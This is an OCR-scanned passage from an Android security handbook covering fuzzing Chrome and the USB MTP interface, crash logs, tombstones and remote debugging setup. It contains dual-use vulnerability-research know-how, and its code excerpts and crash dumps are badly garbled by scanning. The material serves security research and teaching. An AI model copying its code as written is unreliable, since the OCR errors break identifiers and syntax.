needlessly wasted. 

During testing, hundreds of crashes occurred. Most of the crashes were NULL 
pointer dereferences. Many of these were due to out-of-memory conditions. The 
output from one such crash follows. 


Build fingerprint: 'google/nakasi/ grouper: 4. 4/KRT160/ 907817: user/rel ease- 
keys' 
Revision: '0' 
pid: 28335, tid: 28349, name: ChildProcessMai >>> 
com. android.chrome:sandboxed_ process3 <<< 
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000 
rO 00000000 ri 00000000 r2 c0000000 r3 00000000 
r4 00000000 r5 00000000 r6 00000000 r7 00000000 
r8 6ad79f28 19 37408091 sl 684e45d4 fp 6ad79f 1c 
ip 00000000 sp 6ad79e98 Ir 00000000 pc 4017036c cpsr 80040010 
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Additionally, several crashes referencing 0xbbadbeef occurred. This value 
is associated with memory allocation failures and other issues within Chrome 
that are fatal. The following is one such example: 


pid: 11212, tid: 11230, name: ChildProcessMai >>> 
com. android. chrome: sandboxed_processl10 <<< 
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr bbadbeef 
rO 6ad79694 r1 fffffffe r2 00000000 r3 bbadbeef 
r4 6c499e60 r5 6c47e250 r6 6ad79768 r7 6ad79758 
r8 6ad79734 r9 6ad79800 sl 6ad79b08 fp 6ad79744 
ip 2bde4001 sp 6ad79718 Ir 6bab2cld pc 6bab2c20 cpsr 40040030 


Finally, a few times crashes similar to the following appeared: 


pid: 29030, tid: 29044, name: ChildProcessMai >>> 
com. android. chrome: sandboxed_processll <<< 
Signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 93623000 
rO 6d708091 r1 092493fe r2 6eb3053d r3 6ecfe008 
r4 24924927 r5 049249ff r6 6ac0lf64 r7 6d708091 
r8 6d747a09 r9 93623000 sl 5a3bb014 fp 6ac0lf84 
ip 6d8080ac sp 6ac01f70 Ir 3dd657e8 pc 3dd63db4 cpsr 600e0010 


The input that caused this crash is remarkably similar to the proof-of-concept 
trigger provided by Jon Butler. 

This fuzzer serves as an example of just how quick and easy fuzz testing can 
be. With only a couple hundred lines of Python, Browser Fuzz is able to give 
theTypedArrays functionality in Chrome a workout. In addition to uncovering 
several less critical bugs, this fuzzer successfully rediscovered the critical bug 
Pinkie Pie used to win Mobile Pwn2Own. This fuzzer serves as an example that 
focusing fuzzing efforts on a narrow area of code can increase efficiency and 
thus the chance to find bugs. Further, Br ows er Fuzz provides a skeleton that can 
be easily repurposed by a motivated reader to fuzz other browser functionality. 


Fuzzing the USB Attack Surface 


Chapter 5 discussed some of the many different functions that the Universal 
Serial Bus (USB) interface of an Android device can expose. Each function 
represents an attack surface in itself. Although accessing these functions does 
require physical access to a device, vulnerabilities in the underlying code can 
allow accessing the device in spite of existing security mechanisms such as a 
locked screen or disabled or secured ADB interface. Potential impact includes 
reading data from the device, writing data to the device, gaining code execution, 
rewriting parts of the device's firmware, and more. These facts combined make 
the USB attack surface an interesting target for fuzz testing. 
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There are two primary categories of USB devices: hosts and devices. Although 
some Android devices are capable of becoming a host, many are not. When a 
device switches to behaving as a host, usually by using an On-the-Go (OTG) 
cable, it’s said to be in host mode. Because host mode support on Android devices 
has a checkered past, this section instead focuses on fuzzing device mode services. 


USB Fuzzing Challenges 


Fuzzing a USB device, like other types of fuzzing, presents its own set of chal- 
lenges. Some input processing is implemented in the kernel and some in user- 
space. If processing in the kernel encounters a problem, the kernel may panic 
and cause the device to reboot or hang. The user-space application that imple- 
ments a particular function may, and hopefully will, crash. USB devices often 
respond to errors by issuing a bus reset. That is, the device will disconnect itself 
from the host and reset itself to a default configuration. Unfortunately, resetting 
the device disconnects all USB functions currently in use, including any ADB 
sessions being used for monitoring. Dealing with these possibilities requires 
additional detection and handling in order to maintain autonomous testing. 

Thankfully Android is fairly robust in most of these situations. Services often 
restart automatically. Android devices use a watchdog that will restart the device 
in the case of a kernel panic or hang. Many times, simply waiting for the device 
to come back is sufficient. If the device doesn’t return, issuing a bus reset for the 
device may resolve the situation. Still, in some rare and less-than-ideal cases, 
it may be necessary to physically reconnect or power cycle the device to clear 
an error. It is possible to automate these tasks, too, though it may require using 
special hardware such as a USB hub that supports software control or custom 
power supplies. These methods are outside the scope of this chapter. 

Though fuzzing a USB device comes with its own challenges, much of the 
high-level process remains the same. Fuzzing one function at a time yields bet- 
ter results than attempting to fuzz all exposed USB functions simultaneously. 
As with most applications that allow communication between two computers, 
applications that use USB as a transport implement their own protocols. 


Selecting a Target Mode 


Due to the many different possible modes that a USB interface can be in, choosing 
just one can be difficult. On the other hand, changing the mode of an Android 
device usually switches the exposed functions. That is, one mode exposes a 
certain set of functions but another mode exposes a different set of functions. 
This can easily be seen when plugging a device into USB. Upon doing so, a 
notification will typically appear stating the current mode and instructing the 
user to click to change options. Exactly which functions are supported varies 
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from one device to the next. Figure 6-3 shows the notification when plugging 
in a Nexus 4 with Android 4.4. 


Y Connected as a media device 


Figure 6-3: USB connected notification 


After clicking on the notification, the user is brought to the screen shown in 
Figure 6-4. 


« red USB computer connection 
CONNECT AS 


Media device (MTP) 


Camera 


Figure 6-4: USB mode selection 


From Figure 6-4, it appears that not very many modes are offered by default on 
the Nexus 4. The truth of the matter is that some other functions are supported, 
such as USB tethering, but they must be explicitly enabled or set by booting up 
in special ways. This device is in its default setting, and thus “Media device 
(MTP)” is the default function exposed by the device in its factory state. This 
alone makes it the most attractive fuzz target. 


Generating Inputs 


After selecting a specific USB function to target, the next step is to learn as 
much as possible about it. Thus far, the only thing known is that the Android 
device identifies this function as “Media device (MTP).” Researching the MTP 
acronym reveals that it stands for Media Transfer Protocol. A brief investiga- 
tion explains that MTP is based on Picture Transfer Protocol (PTP). Further, 
searching for “MTP fuzzing” leads to a publicly available tool that implements 
fuzzing MTP. Olle Segerdahl developed this tool and released it at the 2012 T2 
Infosec conference in Finland. The tool is available athttps://github. com/ 
ollseg/usb-device-fuzzing. git. The rest of this section examines how this 
fuzzer generates and processes inputs. 
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Upon taking a deeper look at Olle’s usb-device-fuzzing tool, it becomes obvi- 
ous that he built his generation strategy on the popular Scapy packet manipula- 
tion tool. This is an excellent strategy because Scapy provides much of what is 
needed to generate fuzzed packet input. It allows the developer to focus on the 
specific protocol at hand. Still, Olle had to tell Scapy about the structure of MTP 
packets and the flow of the protocol. He also had to implement any nonstandard 
handling such as relationships between data and length fields. 

The code for generating packets lies within the USBFuzz/ MTP. py file. Per 
usual, it starts by including the necessary Scapy components. Olle then defined 
two dictionaries to hold the Operation and Response codes used by MTP. Next, 
Olle defined a Cont ai ner class and two of MTP’s Transaction Phases. All MTP 
transactions are prefixed by a container to let the MTP service know how to 
interpret the following data. The Cont ai ner class, which is actually described 
in the PTP specification, is listed here: 


98 class Container( Packet): 


99 name = "PTP/MTP Container " 

100 

101 _Types = {"Undefined":0, "Operation":1, "Data":2, "Response": 3 
"Event": 4} 

102 

103 _Codes = {} 

104 _Codes.update( OpCodes 

105 _Codes.update(ResCodes) 

106 fields_desc = [ LEI ntField("Length", None), 

107 LEShortEnumField("Type", 1, _Types), 

108 LEShortEnumField("Code", None, _Codes), 

109 LEI ntField("Transaction!D", None) ] 


This object generates the container structure used by both PTP and MTP. 
Because it’s built on Scapy, this class only needs to define fields _desc. It tells 
Scapy how to build the packet that represents the object. As seen from the 
source code, the Cont ai ner packet consists of only four fields: a length, a type, 
a code, and a transaction identifier. Following this definition the Cont ai ner 
class contains apost_build function. It handles two things. First, it copies the 
code and transaction identifier from the payload, which will contain one of 
the two packet types discussed next. Finally, the post _ build function updates 
the Length field based on the size of the provided payload. 

The next two objects that Olle defined are the Oper ation and Res ponse pack- 
ets. These packets are used as the payload for Cont ai ner objects. They share a 
common structure and differ only by the codes that are valid in the Code field. 
The following excerpt shows the relevant code: 

127 class Operation( Packet): 


128 name = "Operation " 
129 fields desc = [ LEShortEnumField("OpCode", 0, OpCodes), 
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130 LEI ntField("SessionlD", 0), 
[...] 

143 class Response( Packet): 

144 name = "Response " 

145 fields_desc = [ LEShortEnumField("ResCode", 0, ResCodes), 
146 LEI ntField("SessionlD", 0), 

147 LEI ntField("TransactionID", 1), 
148 LEI ntField("Parameter1", 0), 
149 LEI ntField("Parameter2", 0), 
150 LEI ntField("Parameter3", 0), 
151 LEI ntField("Parameter4", 0), 
152 LEI ntField("Parameter5", 0) ] 


These two packets represent the two most important of the four MTP trans- 
action types. For Operation transactions, the 0pCode field is selected from the 
OpCodes dictionary defined previously. Likewise, Response transactions use 
the Res Codes dictionary. 

Although these objects describe the packets used by the fuzzer, they do not 
implement the input generation entirely on their own. Olle implements the 
remainder of input generation in the examp| es/ mt p_fuzzer. py file. The source 
code follows. 


31 trans = struct.unpack("I", os.urandom4))[0] 
32 r = Struct.unpack("H", os.urandom(2))[0] 

33 opcode = OpCodes.items()[r%l en( OpCodes) ][1] 

34 if opcode == OpCodes["CloseSession"] 

35 opcode = 0 

36 cmd = Container()/fuzz(Operation(OpCode=opcode 


Transaction|D=trans, SessionlD=dev. current _session())) 


Lines 31 through 33 select a random MTP Transaction type and Operation 
code. Lines 34 and 35 handle the special case when the CI os eSession Operation 
is randomly selected. If the session is closed, the fuzzer will be unlikely to 
exercise any of the underlying code that requires an open session. In MTP, this 
is nearly all operations. Finally, the Operation request packet is built on line 
36. Note that Olle uses the f uzz function from Scapy, which fills in the various 
packet fields with random values. At this point, the fuzzed input is generated 
and ready to be delivered to the target device. 


Processing Inputs 


The MTP specification discusses the Initiator and Responder roles within the 
protocol flow. As with most USB device communications, the host is the Initiator 
and the device is the Responder. As such, Olle coded his fuzzer to repeatedly 
send Operation packets and read Response packets. To do this, he used PyUSB, 
which is a popular set of Python bindings to the! i bus b communications library. 
The API provided by PyUSB is clean and easy to use. 
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Olle starts by creating an MTP Device class in USBFuzz/ MTP. py. He derives 
this class from PyUSB’s Bul kPi pe class, which is used, as its name suggests, for 
communicating with USB Bulk Pipes. Apart from a couple of timing-related 
options, this class needs the Vendor Id and the Product Id of the target device. 
After creating the initial connection to the device, much of the functionality 
pertains to monitoring rather than delivering inputs. As such, it will be discussed 
further in the next section. 

Back inexamp|es/ mt p_fuzz. py, Olle implemented the rest of the input pro- 
cessing code. The following is the relevant code: 


16 s = dev. new_session() 

17 cmd = Container()/Operation(OpCode=OpCodes["OpenSession'], 
Parameterl=s) 

18 cmd. show2() 

19 dev. send( cmd) 

20 response = dev.read_response() 

[cael] 

27 while True: 

van 

38 dev. send( cmd) 

39 response = dev.read_ response(trans) 


[ 


On lines 16 through 20, Olle opens a session with the MTP device. This process 
consists of sending an Oper ati on packet using the OpenSession operation code 
followed by reading a Response packet. As shown on lines 38 and 39, this really 
is all that is done to deliver inputs for processing. The typical USB master-slave 
relationship between the host and the device makes processing inputs easy 
compared to other types of fuzzing. With inputs getting processed, the only 
thing left is to monitor the system for ill behavior. 


Monitoring Testing 


Fuzzing most USB devices provides relatively little means for monitoring what is 
happening inside the device itself. Android devices are different in this regard. 
It’s much easier to use typical monitoring mechanisms on Android. In fact, the 
methods discussed earlier in this chapter work great. Still, as mentioned in the 
earlier “USB Fuzzing Challenges” section, the device might reset the USB bus 
or stop responding. These situations require special handling. 

Olle’s usb-device-fuzzing tool does not do any monitoring on the device 
itself. This fact isn’t surprising, as he was not targeting Android devices when 
he developed his fuzzer. However, Olle does go to lengths to monitor the device 
itself from the host. The MTP Devi ce class implements a method calledi s_al ive 
in order to keep tabs on whether the device is responsive. In this method, Olle 
first checks to see if the device is alive using the underlying Bul kPi pe class. 
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Following that, he sends a Skip Operation packet using an unknown transaction 
identifier (x deadbeef ). This is almost sure to illicit some sort of error response 
signifying that the device is ready to process more inputs. 

In the main fuzzer code inexamp| es/ mtp_fuzzer. py, Olle starts by resetting 
the device. This puts the device in what is presumed to be a known good state. 
Then, in the main loop, Olle calls thei s_al i ve method after each interaction with 
the device. If the device stops responding, he again resets the device to return 
it to working order. This is a good strategy for keeping the fuzzer running for 
long periods of time. However, running this fuzzer against an Android device 
made it apparent that it is insufficient. In addition to using i s_al i ve, Olle also 
prints out the Operation and Response packets that are sent and received. This 
helps determine what caused a particular issue, but it isn’t perfect. In particular, 
it’s difficult to replay inputs this way. Also, it’s difficult to tie an input directly 
to a crash. 

When targeting an Android device with this fuzzer, monitoring Android’s 
system log yields excellent feedback. However, it’s still necessary to deal with 
frequent device resets. Thankfully, this is pretty simple using the following 
command. 


dev: ~/android/usb-device-fuzzing $ while true; do adb wait-for-device \ 
logcat; done 
[.. log output here ..] 


With this command running, it’s possible to see debugging messages logged 
by the Mt pSer ver code running in the device. Like when fuzzing Chrome for 
Android, monitoring the system log immediately reveals a bunch of error messages 
that indicate certain parts of the protocol are not supported. Commenting these 
out will increase efficiency and is unlikely to impact the potential to find bugs. 

When we ran this fuzzer against a 2012 Nexus 7 with Android 4.4, a crash 
appeared within only a few minutes. The following message was logged when 
the process hosting the Mt pSer ver thread crashed: 

Fatal signal 11 (SIGSEGV) at Ox66f9f002 (code=1), thread 413 (MtpServer) 

KEK KKK KKK KEK KKK KKK KKK KKK KKK KKK KKK KEK KKK KKK KKK KEK 


Build fingerprint: 'google/nakasi/ grouper: 4. 4/KRT160/ 907817: user/rel ease- 
keys! 
Revision: '0' 
pid: 398, tid: 413, name: MtpServer >>> android. process. media <<< 
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 66f9f002 
r0 5a3adb58 rl 66f92008 r2 66f9f000 r3 0000cff8 
r4 66fa2dd8 r5 000033fb r6 5a3adb58 r7 00009820 
r8 220b0ff6 r9 63ccbef0 sl 63ccclc4 fp 63cchef0 
ip 63cc3all sp 6a8e3a8c Ir 63cc3fc9 pc 63cc3d2a cpsr 000f0030 


Looking closer showed that this was a harmless crash, but the fact that a 
crash happened so quickly indicates there may be other issues lurking within. 
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We leave additional fuzzing against MtpServer, other USB protocols, devices, 
and so on to you if you're interested. All in all, this section shows that even 
applying existing public fuzzers can find bugs in Android. 


Summary 


This chapter provided all of the information needed to get started fuzzing on 
Android. It explored the high-level process of fuzzing, including identifying 
targets, creating test inputs, processing those inputs, and monitoring for ill 
behavior. It explained the challenges and benefits of fuzzing on Android. 


kee Chapter 11 provides additional information about fuzzing SMS on Android 
devices. 


The chapter was rounded out with in-depth discussions of three fuzzers. 
Two of these fuzzers were developed specifically for this chapter. The last 
fuzzer was a public fuzzer that was simply targeted at an Android device. In 
each case, the fuzzer led to the discovery of issues in the underlying code. This 
shows that fuzzing is an effective technique for discovering bugs and security 
vulnerabilities lurking inside Android devices. 

The next chapter shows you how to gain a deeper understanding of bugs 
and vulnerabilities through debugging and vulnerability analysis. Applying 
the concepts within allows you to harvest fuzz results for security bugs, paving 
the way for turning them into working exploits. 


Debugging and Analyzing 
Vulnerabilities 


It’s very difficult—arguably impossible—to create programs that are free of 
bugs. Whether the goal is to extinguish bugs or to exploit them, liberal applica- 
tion of debugging tools and techniques is the best path to understanding what 
went wrong. Debuggers allow researchers to inspect running programs, check 
hypotheses, verify data flow, catch interesting program states, or even modify 
behavior at runtime. In the information security industry, debuggers are essen- 
tial to analyzing vulnerability causes and judging just how severe issues are. 
This chapter explores the various facilities and tools available for debugging 
on the Android operating system. It provides guidance on how to set up an 
environment to achieve maximum efficiency when debugging. Using some 
example code and a real vulnerability, you walk through the debugging process 
and see how to analyze crashes to determine their root cause and exploitability. 


Getting All Available Information 


The first step to any successful debugging or vulnerability analysis session is 
to gather all available information. Examples of valuable information include 
documentation, source code, binaries, symbol files, and applicable tools. This 
section explains why these pieces of information are important and how you 
use them to achieve greater efficacy when debugging. 
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Look for documentation about the specific target, protocols that the target 
uses, file formats the target supports, and so on. In general, the more you know 
going in, the better chance of a successful outcome. Also, having easily accessible 
documentation during analysis often helps overcome unexpected difficulties 
quickly. 


(et CO ot 0 0) Information about how and where to obtain source code 
for various Android devices is covered in Appendix B. 


The source code to the target can be invaluable during analysis. Reading 
source code is usually much more efficient than reverse-engineering assembly 
code, which is often very tedious. Further, access to source code gives you the 
ability to rebuild the target with symbols. As discussed in the “Debugging with 
Symbols” section later in this chapter, symbols makes it possible to debug at 
the source-code level. If source code for the target itself is not available, look 
for source code to competing products, derivative works, or ancient precursors. 
Though they probably will not match the assembly, sometimes you get lucky. 
Different programmers, even with wildly different styles, tend to approach 
certain problems the same way. In the end, every little bit of information helps. 

Binaries are useful for two reasons. First, the binaries from some devices 
contain partial symbols. Symbols provide valuable function information such 
as function names, as well as parameter names and types. Symbols bridge 
the gap between source code and binary code. Second, even without symbols, 
binaries provide a map to the program. Using static analysis tools to reverse 
engineer binaries yields a wealth of information. For example, disassemblers 
reconstruct the data and control flow from the binary. They facilitate navigating 
the program based on control flow, which makes it easier to get oriented in the 
debugger and find interesting program locations. 

Symbols are more important on ARM-based systems than on x86 systems. 
As discussed in Chapter 9, ARM processors have several execution modes. In 
addition to names and types, symbols are also used to encode the processor 
mode used to execute each function. Further, ARM processors often store read- 
only constants used by a function immediately following the function’s code 
itself. Symbols are also used to indicate where this data lies. These special types 
of symbols are particularly important when debugging. Debuggers encounter 
issues when they don’t have access to symbols, especially when displaying stack 
traces or inserting breakpoints. For example, the instruction used to install a 
breakpoint differs between processor modes. If the wrong one is used, it could 
lead to a program crash, the breakpoint being missed, or even a debugger crash. 
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For these reasons, symbols are the most precious commodity when debugging 
ARM binaries on Android. 

Finally, having the right tools for the job always makes the job easier. 
Disassemblers such as IDA Pro and radare2 provide a window into binary code. 
Most disassemblers are extensible using plug-ins or scripts. For example, IDA 
Pro has a plug-in application programming interface (API) and two scripting 
engines (IDC and Python), and radare2 is embeddable and provides bindings 
for several programming languages. Tools that extend these disassemblers may 
prove to be indispensable during analysis, especially when symbols are not 
available. Depending on the particular target program, other tools may also 
apply. Utilities that expose what’s happening at the network, file system, system 
call, or library API level provide valuable perspectives on a program’s execution. 


Choosing a Toolchain 


A toolchain is a collection of tools that are used to develop a product. Usually, 
a toolchain includes a compiler, linker, debugger, and any necessary system 
libraries. Simply put, building a toolchain or choosing an existing one is the 
first step to building your code. For the purpose of this chapter, the debugger 
is the most interesting component. As such, you need to choose a workable 
toolchain accordingly. 

For Android, the entity that builds a particular device selects the toolchain 
during development. As a researcher trying to debug the compiler’s output, the 
choice affects you directly. Each toolchain represents a snapshot of the tools it 
contains. In some cases, different versions of the same toolchain are incompat- 
ible. For example, using a debugger from version A on a binary produced by 
a compiler from version B may not work, or it may even cause the debugger to 
crash. Further, many toolchains have various bugs. To minimize compatibility 
issues, it is recommended that you use the same toolchain that the manufacturer 
used. Unfortunately, determining exactly which toolchain the manufacturer 
used can be difficult. 

In the Android and ARM Linux ecosystems, there are a variety of debuggers 
from which to choose. This includes open source projects, as well as commercial 
products. Table 7-1 describes several of the tools that include an ARM Linux 
capable debugger. 
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Table 7-1: Tools that Include an ARM Linux Debugger 


TOOL DESCRIPTION 


IDA Pro IDA Pro is a commercial disassembler product that includes a remote 
debugging server for Android. 


Debootstrap Maintained by the Debian Project, this tool allows running the GNU 
Debugger (GDB) on a device. 


Linaro Linaro provides toolchains for several versions of Android going back to 
Gingerbread. 


RVDS ARM's official compiler toolchain is commercial but evaluation copies are 
available. 
Sourcery Formerly Sourcery G++, Mentor Graphics’s toolchain is available in evalua- 


tion, commercial, and Lite editions. 


Android The official Android Native Development Kit (NDK) enables app developers 
NDK to include native code in their apps. 

AOSP The Android Open Source Project (AOSP) repository includes a prebuilt 
Prebuilt toolchain that is used to build AOSP firmware images. 


In the course of writing this book, the authors experimented with a few of the 
toolchains described in this section. Specifically, we tried out IDA’s android_ 
server, the Debootstrap GDB package, the Android NDK debugger, and the 
AOSP debugger. The latter two are documented in detail in the “Debugging 
Native Code” section later in this chapter. The best results were achieved when 
we used the AOSP prebuilt toolchain in conjunction with an AOSP-supported 
Nexus device. Individual mileage may vary. 


Debugging with Crash Dumps 


The simplest debugging facility provided by Android is the system log. Accessing 
the system log is accomplished by running the | ogcat utility on the device. It 
is also accessible using the | ogcat Android Debug Bridge (ADB) device com- 
mand. We introduced this facility in Chapter 2 and used it in Chapters 4 and 6 
to watch for various system events. Monitoring the system log puts a plethora 
of real-time feedback, including exceptions and crash dumps, front and center. 
We highly recommend monitoring the system log whenever you do any testing 
or debugging on an Android device. 


System Logs 


When an exception occurs in a Dalvik application, including in the Android 
Framework, the exception detail is written to the system log. The following excerpt 
from the system log of a Motorola Droid 3 shows one such exception occurring. 
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D/ AndroidRuntime: Shutting down VM 
Wedalvikvm threadid=1l: thread exiting with uncaught exception 
group=0x4001e560 

E/AndroidRuntime: FATAL EXCEPTION: main 
E/AndroidRuntime: java.lang.RuntimeException: Error receiving broadcast 
ntent 
{ act=android.intent.action. MEDIA MOUNTED dat=file:///sdcard/nosuchfile } 
in 

com. motorola. usb. UsbService$1@40522c10 


E/ AndroidRunti me: at android.app. LoadedApk$Recei verDispatcher$Args. 
run 
LoadedApk.j ava: 722) 
E/AndroidRunti me: at android. os. Handler. hand! eCallback( Handler. 
java: 587) 
E/ AndroidRunti me: at android. os. Handler. dispatchMessage( Handler. 
java: 92 
E/ AndroidRunti me: at android.os.Looper.!oop( Looper. java: 130 
E/ AndroidRunti me: a 
android. app. ActivityThread. main(ActivityThread. j ava: 3821) 
E/ AndroidRunti me: at java.lang.reflect. Method. invokeNative(Native 
Met hod) 
E/ AndroidRunti me: at java.lang.reflect. Method. invoke( Method 
java: 507) 
E/ AndroidRunti me: a 
com. android.internal.os.Zygotel nit$MethodAndArgsCaller.run 
(Zygotel nit. java: 839) 
E/ AndroidRunti me: a 
com. android.internal.os.Zygotel nit. main(Zygotel nit. java: 597) 
E/ AndroidRunti me: at dalvik.system. NativeStart. main(Native Method) 


E/ AndroidRunti me: 
E/ AndroidRunti me: 
E/ AndroidRunti me: 
(UsbService.j ava: 624) 


e: Caused by: java.lang.Arrayl ndexOut Of BoundsException 

e 

e 

a 
E/AndroidRunti me: a 

b 

e: 

b, 

e: 


at java.util. ArrayList.get(ArrayList.java:313) 
at com. motorola. usb. UsbService. onMediaMounted 


com. motorola. usb. UsbService.access$1100(UsbService.java:54 
E/AndroidRuntim a 
com. motorola. usb. UsbService$1.onReceive(UsbService.java:384 
E/AndroidRunti me: at android. app. LoadedApk$ReceiverDispatcher$Args. 


run 
(LoadedApk.java:709 
E/ AndroidRunti me: ... 9 more 


In this case, a Runt i meExcepti on was raised when receiving a MEDI A_ MOUNTED 
Intent. The Intent is being processed by the com. motorola. usb. UsbService 
Broadcast Receiver. Walking further up the exception stack reveals that an 
Arrayl ndexOut Of BoundsExcepti on occurred in the onMedi aMounted function 
in the Us bService. Presumably, the exception occurs because the fi! e:/// 
sdcard/nosuchfile uniform resource indicator (URI) path does not exist. As 
seen on the third line, the exception is fatal and causes the service to terminate. 


Tombstones 


When a crash occurs in native code on Android, the debugger daemon prepares 
a brief crash report and writes it to the system log. In addition, debugger d also 
saves the crash report to a file called a tombstone. These files are located in the 
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/data/tombstones directory on nearly all Android devices. Because access to 
this directory and the files inside it is usually restricted, reading tombstone 
files typically requires root access. The following excerpt shows an abbreviated 
example of a native code crash log: 


255|she 


Fatal s 
KKK KKK 
Build f 
Revisio 
pid: 48 
signal 


d30 
scr 


backtra 
#00 
#01 
#02 
#03 
#04 


| @mako: / 
/system/ bin/sh: 
i gnal 


$ ps | 
lolz: 
13 (SI GPI PE) 


lolz 
not found 


at 0x00001303 (code=0) 


thread 4867 (ps) 


ingerprint: 
n: ‘11! 

67, tid: 4867, 
13 (SIGPIPE), 
fffffed 
b6fa9170 
bedfd718 
bedfd76c 
75632f7274746120 
0000000000000020 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
cldd406de27353f 8 
41c2cfd7db000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
00000010 


ce: 


name: 
code -6 (SI_TKILL), 
rl b8efedb8 
r5 b8efedb8 
r9 00000000 
sp bedfd640 


ps 


>>> ps <<< 


r2 00001000 
r6 00001000 
sl 00000000 
lr b6f80dd5 
0000000000000020 
0000000000000020 
0000000000000000 
8af 4a6c000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
3f50624dd2f1la9fc 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 
0000000000000000 


fault addr 
r3 00000888 
r7 00000004 
fp bedfda77 
pc b6f7c060 


KEK KKK KKK KKK KKK KKK KKK KKK KEK KEK KEK KEK KEK KEK 


"googl e/occam/ mako: 4. 3/| WRO6Y/ 776638: user/relea... 


cpsr 200b0010 


pc 0001b060 


pc 
pc 
pc 
pc 


0001fdd3 
0001fe61 
00020cad 
00022291 


Isystem/ lib/libc. 
Isystem/ lib/libc. 
Isystem/lib/libc. 
Isystem/lib/libc. 
Isystem/lib/libc. 


so (write+l2) 

so (__sflush+54) 
so (fflush+60 

$0 

$0 


The crash in the preceding example is triggered by the SI GPI PE signal. When 
the system attempts to pipe the output from the ps command to the I ol z com- 
mand, it finds that | ol z does not exist. The operating system then delivers the 
SI GPI PE signal to the ps process to tell it to terminate its processing. In addition 
to the S| GPI PE signal, several other signals are caught and result in a native 
crash log. Most notably, segmentation violations are logged via this facility. 

Exclusively using crash dumps for debugging leaves much to be desired. 
Researchers turn to interactive debugging when crash dumps are not enough. 
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The rest of this chapter focuses on interactive debugging methods and how to 
apply them to analyze vulnerabilities. 


Remote Debugging 


Remote debugging is a form of debugging in which a developer uses a debug- 
ger that runs on a separate computer from the target program. This method 
is commonly used when the target program uses full screen graphics or, as in 
our case, the target device doesn’t provide a suitable interface for debugging. To 
achieve remote debugging, a communication channel must be set up between 
the two machines. Figure 7-1 depicts a typical remote debugging configuration, 
as it applies to Android devices. 


USB or Wi-Fi Connection 


Figure 7-1: Remote debugging configuration 


In this configuration, the developer connects his device to his host machine 
either via the same local area network (LAN) or universal serial bus (USB). 
When using a LAN, the device connects to the network using Wi-Fi. When 
using USB, the device is plugged directly into the host machine. The developer 
then runs a debugger server and a debugger client on the Android device and 
his host machine, respectively. The client then communicates with the server 
to debug the target program. 

Remote debugging is the preferred method for debugging on Android. This 
methodology is used when debugging both Dalvik code and native code. Because 
most Android devices have a relatively small screen and lack a physical keyboard, 


211 


212 


Chapter 7 = Debugging and Analyzing Vulnerabilities 


they don’t have debugger-friendly interfaces. As such, it’s easy to see why remote 
debugging is preferred. 


Debugging Dalvik Code 


The Java programming language makes up a large part of the Android software 
ecosystem. Many Android apps, as well as much of the Android Framework, 
are written in Java and then compiled down to Dalvik bytecode. As with any 
significantly complex software stack, programmers make mistakes and bugs 
are born. Tracking down, understanding, and addressing these bugs is a job 
made far easier with the use of a debugger. Thankfully, many usable tools exist 
for debugging Dalvik code. 

Dalvik, like its Java cousin, implements a standardized debug interface called 
Java Debug Wire Protocol, or JDWP for short. Nearly all of the various tools 
that exist for debugging Dalvik and Java programs are built upon this proto- 
col. Although the internals of the protocol are beyond the scope of this book, 
studying this protocol may be beneficial to some readers. A good starting point 
for obtaining more information is Oracle’s documentation on JOWP at ht t p: / / 
docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec. html. 

At the time of this writing, two official development environments are pro- 
vided by the Android team. The newer of the two, Android Studio, is based on 
IntelliJ IDEA made by JetBrains. Unfortunately, this tool is still in the prerelease 
phase. The other tool, the Android Development Tools (ADT) plug-in for the 
Eclipse IDE, is and has been the officially supported development environ- 
ment for Android app developers since the r3 release of the Android Software 
Development Kit (SDK). 

In addition to development environments, several other tools are built upon 
the JOWP standard protocol. For instance, the Android Device Monitor and 
Dalvik Debug Monitor Server (DDMS) tools included with the Android SDK use 
JDWP. These tools facilitate app profiling and other system-monitoring tasks. 
They use JDWP to access app-specific information like threads, heap usage, and 
ongoing method calls. Beyond the tools included with the SDK, several other 
tools also rely on JOWP. Among these are the traditional Java Debugger (JDB) 
program included with Oracle’s Java Development Kit (JDK) and the AndBug 
tool demonstrated in Chapter 4. This is by no means an exhaustive list, as JOWP 
is used by several other tools not listed in this text. 

In an effort to simplify matters, we chose to stick to the officially supported 
tools for the demonstrations in this section. Throughout the examples in this 
section, we used the following software: 


= Ubuntu 12.04 on amd64 
m Eclipse from eclipse-java-indigo-SR2-linux-gtk-x86_64.tar.gz 
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m Android SDK r22.0.5 
m Android NDK r9 
m Android’s ADT plug-in v22.0.5 


To make developers’ lives easier, the Android team started offering a combined 
download called the ADT Bundle in late 2012. It includes Eclipse, the ADT plug- 
in, the Android SDK and Platform-tools, and more. Rather than downloading 
each component separately, this single download contains everything most 
developers need. The only noteworthy exception is the Android NDK, which 
is only needed for building apps that contain native code. 


Debugging an Example App 


Using Eclipse to debug an Android app is easy and straightforward. The Android 
SDK comes with a number of sample apps that help you become familiar with 
the Eclipse environment. However, a dead simple “Hello World” app is included 
in the materials for this chapter on the book’s website: www. wil ey. com/ go/ 
androidhackershandbook. We use this app for demonstrative purposes throughout 
this section. To follow along, import the Hel | oWor | d project into your Eclipse 
workspace using File > Import followed by General > Existing Projects into 
Workspace. After Eclipse finishes loading, it displays the Java perspective as 
shown in Figure 7-2. 


1 Jo - HeloWorid/sredconexample/elloworid/MainActiviyjava Eclipse. me NE 2u 


Refactor 


Navigate Search Project Window Help 


E Task List x ziu] 


re) |x Alay 
a 
D GS HelloWorld [Fa sO AM’ Activate, 
e savedinstanceState) { 
super. onCreate(savedInstanceState) ; 
SetContentView(R. layout. activity main); 
BE Outline £2 = 


ERVE ule? 
H com.example helloworld 


z OnCréate(BLndlel : Voicl! 


© 4 onCreateOptionsMenu(Menu) : bi [> 
= = Dj 


[ [ÈL Problems| @ Javadoc |[& Declaration | El Console 52 4 En SJ] “Geri n 


|[Andraia 
zji 
z 


9 >] 


Writable Smart Insert l 12:14 | 


Figure 7-2: Eclipse Java perspective 
